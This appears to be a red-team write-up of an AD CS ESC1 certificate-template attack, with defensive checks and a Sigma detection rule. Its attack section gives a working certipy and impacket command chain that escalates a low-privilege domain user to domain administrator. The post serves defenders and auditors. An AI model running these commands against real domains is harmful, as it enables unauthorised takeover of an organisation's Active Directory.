AD CS ESC1 in the wild: the certificate template you forgot about

Twenty-two minutes. That's how long it took from our initial foothold as a low-priv domain user to SYSTEM on a Tier-0 domain controller in a recent red-team engagement. The glue was AD CS ESC1 — a certificate template misconfiguration that is still, in 2026, wildly common.

The setup

The customer was a mid-size financial services org. They'd stood up an Active Directory Certificate Services (AD CS) enterprise CA five years earlier to issue smart-card and Wi-Fi certs. Somewhere along the way, a templated workflow for "any authenticated user can request a cert on behalf of a machine for a temporary purpose" had been published and never retracted.

The template had three fatal traits:

1. The Enrollee Supplies Subject flag was set — meaning the requester could set the subject name on the issued certificate.
2. The template's Extended Key Usage included Client Authentication.
3. The template was enrollable by Domain Users (or, more precisely, a broad group that resolved to Domain Users).

Combine those three and any domain user can request a cert claiming to be *anyone* — including the domain administrator — and then authenticate to the domain as that user via PKINIT.

The attack, in thirty lines

From our foothold (a compromised helpdesk user):

# Enumerate vulnerable templates
certipy find -u alice@corp.example -p 'Hunter2!' -dc-ip 10.10.10.10

# Spot ESC1: "User" template, enrollable by Domain Users, EnrolleeSuppliesSubject=True
# Request a cert as domain administrator
certipy req -u alice@corp.example -p 'Hunter2!' \
  -ca CORP-CA -template User \
  -upn administrator@corp.example

# Use the cert to request a Kerberos TGT as administrator
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Use the NT hash or the TGT to complete
impacket-psexec -hashes :<NT_HASH> administrator@dc01.corp.example

That's it. Twenty-two minutes end-to-end, including the time the enumeration took to complete.

Why this is still common

• The template name doesn't scream "evil". It's often a copy of the built-in User template with one innocent-looking flag changed.
• Microsoft's default documentation doesn't warn about the subject-supplies flag.
• Certificate template misconfigurations are invisible to most EDR and SIEM rulesets — no malware, no PowerShell, just LDAP and RPC traffic that looks identical to the CA's normal operation.
• Blue teams that *do* monitor AD CS often focus on CA compromise, not template abuse.

What to check this week

1. Run certipy find (or Certify on Windows) against your CA and look for ESC1–ESC13 in the output.
2. For every published template: who can enroll? Does it permit subject-supplies? What EKUs are on it?
3. Disable any templates that don't need to exist. Keep an inventory of the ones you can't disable.
4. Enable auditing on certificate issuance events (EventID 4886, 4887) and alert on any issuance with a subject name that doesn't match the requester.
5. Consider enforcing Manager Approval on any template that permits subject-supplies.

The detection we built

For this customer, the purple-team phase produced a single Sigma rule that tags on:

• Event 4886/4887
• Subject != Requester
• Template name in a published allowlist

It took less than a day to write and has caught three false starts by internal testers since. That rule, not the patch, is what the detection engineering backlog needed — because the underlying template still has to exist for a legitimate smart-card workflow.

The takeaway

Every AD CS deployment more than a year old is worth a structured review. ESC1 is the low-hanging fruit. ESC8 (NTLM relay to the CA web enrollment endpoint) is often the second. If you haven't run one in the last twelve months, put it on the top of this quarter's plan.